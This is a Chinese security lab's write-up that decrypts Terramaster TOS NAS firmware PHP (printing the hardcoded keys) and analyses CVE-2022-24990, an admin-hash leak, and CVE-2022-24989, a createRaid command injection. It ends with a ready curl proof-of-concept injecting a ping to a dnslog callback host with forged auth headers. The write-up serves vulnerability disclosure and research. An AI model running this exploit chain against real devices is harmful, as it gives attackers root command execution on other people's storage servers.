本文作者:KR实验室-一刀
概述
Terramaster TOS是中国铁威马(Terramaster)公司的一款基于Linux平台的,专用于TerraMaster云存储NAS服务器的操作系统。 Terramaster TOS 4.2.29版本存在漏洞,可能允许经过身份验证的远程攻击者在系统上执行任意命令,这是由 createRaid 模块中的缺陷引起的。通过发送特制命令,攻击者可以利用此漏洞在系统上以 root 身份执行任意命令。
固件分析
从官网下载固件,这里我们选择F2-220
4.2.28
版本。
铁威马使用nginx,解压后在/etc/nginx/nginx.conf
中可以找到相关配置。
查看/usr/www
发现php文件均被加密,使用二进制工具查看。
可以看到前面32个字节为一串数字加上\0
字符,从第33个字节开始为乱码。查看多个php文件均出现上诉情况,且前16个字节一样,16字节开始的几个字节与文件大小相关。有理由相信使用同一种加密方式加密。查询相关资料[^1],发现铁威马曾使用GH65Hws2jedf3fl3MeK
进行加密。对php解释器(位于usr/sbin/php
)进行查找,未发现相关字符串。再直接在文件夹中进行字符匹配,最终在/usr/lib/php/modules/php_terra_master.so
中找到该字符串。
定位到相关代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
|
FILE
*
__fastcall pm9screw_ext_fopen(
FILE
*
stream)
{
v2
=
16LL
;
v3
=
v28;
while
( v2 )
{
*
v3
=
0
;
v3
=
(v3
+
4
);
-
-
v2;
}
v4
=
16LL
;
v5
=
v29;
while
( v4 )
{
*
v5
=
0
;
v5
=
(v5
+
4
);
-
-
v4;
}
yek(v28);
/
/
新key
v6
=
md5(v28);
v28[
0
]
=
*
v6;
v28[
1
]
=
v6[
1
];
oldyek(v29);
/
/
旧key
v7
=
md5(v29);
v29[
0
]
=
*
v7;
v27
=
v29[
0
];
v29[
1
]
=
v7[
1
];
s2
=
v28[
0
];
*
nptr
=
0LL
;
v8
=
fileno(stream);
sub_3A50(v8, &stat_buf);
v24
=
stat_buf.st_size;
v9
=
malloc(
0x200000uLL
);
v10
=
v24;
*
v9
=
0LL
;
v11
=
v9;
fread(v9, v10,
1uLL
, stream);
v22
=
teg_yek(stream);
fclose(stream);
v12
=
memcmp(v11, &s2,
0x10uLL
);
v13
=
v22;
if
( !v12 )
{
v14
=
v24;
for
( i
=
16LL
; v14 > i;
+
+
i )
{
v16
=
v11[i];
if
( i >
31
)
v11[i
-
32
]
=
v16;
else
v23[i]
=
v16;
}
v17
=
v28;
LABEL_23:
screw_aes(
0LL
, v11, v14, v17, &v24, v13);
/
/
加密函数
v24
=
atoi(nptr);
goto LABEL_24;
}
if
( !memcmp(v11, &v27,
0x10uLL
) )
{
v14
=
v24;
v13
=
v22;
for
( j
=
16LL
; j < v14;
+
+
j )
{
v19
=
v11[j];
if
( j >
31
)
v11[j
-
32
]
=
v19;
else
v23[j]
=
v19;
}
v17
=
v29;
goto LABEL_23;
}
LABEL_24:
v20
=
tmpfile64();
fwrite(v11, v24,
1uLL
, v20);
free(v11);
rewind(v20);
return
v20;
}
|
从函数名字可以看出该加密与aes有关,且名称与screw有关。在github搜索screw
,存在相关代码。
下载后编译,名称为screw,定位到加密函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
void __fastcall screw_encrypt(const char
*
a1)
{
memset(s,
0
, sizeof(s));
memset(&key,
0
,
0x40uLL
);
v1
=
(const void
*
)md5(
"FwWpZKxH7twCAG4JQMO"
);
memcpy(&key, v1,
0x20uLL
);
enTag
=
key;
qword_C428
=
qword_C3E8;
stream
=
fopen(a1,
"rb"
);
if
( !stream )
{
fprintf(stderr,
"File not found(%s)"
, a1);
exit(
0
);
}
v2
=
fileno(stream);
fstat(v2, &v6);
v5
=
v6.st_size;
ptr
=
malloc(
0x200000uLL
);
memset(ptr,
0
,
8uLL
);
fread(ptr, (
int
)v5,
1uLL
, stream);
fclose(stream);
sprintf(s,
"%d"
, v5);
if
( !memcmp(ptr, &enTag,
0x10uLL
) )
{
errMsg(a1,
" Already Crypted"
);
}
else
if
( (
int
)v5 >
0
)
{
screw_aes(
1LL
, ptr, v5, &key, &v5);
/
/
加密函数
stream
=
fopen(a1,
"wb"
);
if
( !stream )
{
errMsg(
"Can not create crypt file(%s)"
, v4);
exit(
0
);
}
fwrite(&enTag,
0x10uLL
,
1uLL
, stream);
fwrite(s,
0x10uLL
,
1uLL
, stream);
fwrite(ptr, (
int
)v5,
1uLL
, stream);
fclose(stream);
alertMsg(
"Success Crypting - "
, a1);
free(ptr);
}
else
{
errMsg(a1,
" will not be crypted"
);
}
}
|
可以发现该加密函数与php_terra_master.so
中的加密函数高度相似,也就是说php_terra_master.so
中的函数是在原函数基础上做了一些小改动。经过分析,主要存在下面2个改变:
一. 2个 key
其中1个key就是GH65Hws2jedf3fl3MeK
,也就是oldkey,将screw中的key替换为GH65Hws2jedf3fl3MeK
,将一个phpdemo进行加密,加密后如下:
可以发现demo加密后格式与目标基本一致,只是前面16个字节不相同。
另外1个key也就是newkey就有点意思了。
1
2
3
4
5
6
7
8
9
10
11
12
|
__int64 __fastcall yek(__int64 a1)
{
for
( result
=
0LL
; result !
=
32
;
+
+
result )
{
if
( (result &
1
) !
=
0
)
v2
=
CAONIM[
2
*
result];
/
/
newkey
else
v2
=
CAONIM[result];
*
(a1
+
result)
=
v2;
}
return
result;
}
|
可以看到这个变量名起的就很有个性,再看一下对应的字符串。
只能说感受到了开发人员的良苦用心,最后得到的key为I''o0aot2eaoyota45eaedot6aoitlae
,再次将demo进行加密。
可以看到demo文件加密出来的文件与我们需要解密的文件基本一致,前面16个字节的标志也相同,不过这样是解密不出来的,这就涉及到了第二个变化。
二.screw_aes加密函数多了个参数
跟进去发现该函数在加密后,与某个数进行了异或。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
__int64 __fastcall screw_aes(
int
a1, __int64 a2,
int
a3, _DWORD
*
a4, _DWORD
*
a5,
int
a6)
{
v19
=
(a3
%
16
!
=
0
)
+
a3
/
16
;
if
( a6
=
=
-
1
)
{
v9
=
get_random1();
v10
=
get_dom2();
}
else
{
v9
=
a6;
v10
=
a6;
}
v11
=
v20;
v12
=
64LL
;
v13
=
a4;
while
( v12 )
{
*
v11
=
*
v13
+
+
;
v11
+
=
4
;
-
-
v12;
}
if
( a1 )
aes_setkey_enc(v21, v20,
256LL
);
else
aes_setkey_dec(v21, v20,
256LL
);
for
( i
=
0
; i < v19;
+
+
i )
{
v14
=
0LL
;
if
( a1 )
{
aes_crypt_cbc(v21,
1LL
,
16LL
, a4, a2, a2);
for
( j
=
0LL
; j !
=
16
;
+
+
j )
*
(a2
+
j) ^
=
v9;
/
/
异或
}
else
{
do
*
(a2
+
v14
+
+
) ^
=
v10;
/
/
异或
while
( v14 !
=
16
);
aes_crypt_cbc(v21,
0LL
,
16LL
, a4, a2, a2);
}
a2
+
=
16LL
;
}
result
=
(
16
*
v19);
*
a5
=
result;
return
result;
}
|
追踪该参数,定位参数来源函数
1
2
3
4
5
6
7
8
9
10
|
char __fastcall teg_yek(
FILE
*
a1)
{
v1
=
fileno(a1);
php_sprintf(v5,
"/proc/self/fd/%d"
, v1);
v2
=
readlink(v5, buf,
0x100uLL
);
/
/
读取文件名
v3
=
-
1
;
if
( v2 >
=
0
)
v3
=
v5[v2
+
251
];
/
/
参数来源
return
v3;
}
|
v2为文件路径长度,v3 = v5[v2+251],这里数组大小为256,也就是说取得值为文件名的(251-256)=-5
位,也就是文件php后缀.php的前一位。也就是说要解密需要先将加密文件从第32位开始先与php后缀.php的前一位异或,再用screw的解密方式进行解密。到这里解密就完成了。
漏洞分析
CVE-2022-24990:信息泄露[^2]
在/usr/www/module/api.php
存在这样的代码
如果请求是http://target/module/api.php?aaaa/bbbb
,那么$class = aaaa
,$function = bbbb
。
接下来它会检查$function
是否在NO_LOGIN_CHECK
数组中,如果不在设置REQUEST_MODE = 1
,在的话设置REQUEST_MODE = 0
。
然后它会实例化对象,并检查$function
是否在$class:$notHeader
中,不在的话会有TIME
以及SIGNATURE
的检查,在的话会调用$function
。
通过对$notHeader
的搜索,在/usr/www/include/class/mobile.class.php
找到相关代码。
在构造函数中主要进行3个检查:
1.判断函数是否在notHeader
中,如果不在,判断HTTP_USER_AGENT
中是否存在字符串TNAS
,以及HTTP_AUTHORIZATION
是否设置,只要有1个不存在,则判断HTTP_AUTHORIZATION
与REQUESTCODE
的值或者REQUESTCODE
的sha256
加密后的值是否相等,如果都不相等,则输出Illegal request, please use genuine software!
并退出。
2.判断REQUEST_MODE
是否存在,如果REQUEST_MODE
存在,则进行一些SESSION
方面的检查。
我们对比api.php
中的NO_LOGIN_CHECK
数组以及mobile.class.php
中notCheck
数组,可以发现NO_LOGIN_CHECK
被包含在notCheck
数组中,也就是说"webNasIPS", "getDiskList", "createRaid", "getInstallStat", "getIsConfigAdmin", "setAdminConfig", "isConnected"
这7个函数将会设置REQUEST_MODE
为0,同时又在notCheck
数组中,这将通过后2个检查。再查看第1个检查,会发现"webNasIPS"
和"isConnected"
函数能通过。
isConnected
很简单,返回publicip
再查看webNasIPS
函数
当HTTP_USER_AGENT
为TNAS
时,它将返回TOS
固件信息,默认网关的IP、mac地址,正在运行的服务及其绑定地址和端口,以及$pwd = hash("sha256", $this->REQUESTCODE)
。查询REQUESTCODE
,它被定义在/usr/www/include/class/application.class.app
,$this->REQUESTCODE = $this->_getpassword();
查看_getpassword
函数
可以看到webNasIPS
返回的$pwd
实际上就是admin
的密码的hash值。所以这里存在一个严重的信息泄露问题。
CVE-2022-24989: 命令注入
不止如此,再得到了这个hash值后,mobile.class.php
的构造函数中的第一个检查,将被通过。也就是说"getDiskList", "createRaid", "getInstallStat", "getIsConfigAdmin", "setAdminConfig"
函数也能调用。分别查看这几个函数,注意到"createRaid"
函数。
这里需要2个参数raidtype
和diskstring
,然后会将raidtype
的值传入volume_make_from_disks
函数,在volume.class.php
可以找到该函数的定义。
继续跟进_backexec
函数,在func.class.php
中找到定义。
可以看到直接将raidtype
的值传入到popen
函数中,并没有任何检查,所以存在命令注入的可能。
但别忘了还需要绕过api.php
中的检查。
搜索tos_encrypt_str
,发现它并没有在php脚本中被定义,也就是说它存在与php加载的模块中,最后又在/usr/lib/php/modules/php_terra_master.so
中找到了它。
这里会将get_mac_addr
函数的返回值与TIMESTAMP
拼接起来再求md5值,查看get_mac_addr
函数。
这个函数作用是取eth0
的mac地址,并以%02x%02x%02x
的形式返回最后3位,也就是说如果mac地址为11:22:33:44:55:66
,那么将返回445566
。由于webNasIPS
函数中,存在mac地址,所以到这里就只需要TIMESTAMP
的值了,我们可以通过不带对应的http头来获取ctime
,再将其转化为时间戳。
漏洞验证
万事俱备,构建payload。
curl -k 'http://{IP:PORT}/module/api.php?mobile/createRaid' -H 'User-Agent: TNAS' -H 'AUTHORIZATION: $1$WKqIJ4Xa$Z.MvA1hLttowrJGwpJCFb0' -H 'TIMESTAMP: 1647196724' -H 'SIGNATURE: 85ea5257a596a846fc919269aa48788a' -d 'raidtype=;ping l49vx5.dnslog.cn -c 1;&diskstring=XXXX'
影响版本
TOS 4.2.x 版本 < 4.2.30,以及所有 4.1.x 版本。
补丁对比
漏洞在TOS 4.2.30中得到了修补。
CVE-2022-24990修补如下:
CVE-2022-24989修补如下:
参考文献:
欢迎大家探讨交流!KR实验室也欢迎有志之士的加入!
【实验室简介】
KR实验室,专注于网络安全创新技术及攻防技术研究,研究内容覆盖操作系统安全技术研究、机器学习与自动化技术研究、Web 安全与渗透测试、移动端恶意软件分析、网络蜜罐捕获技术研究等方向。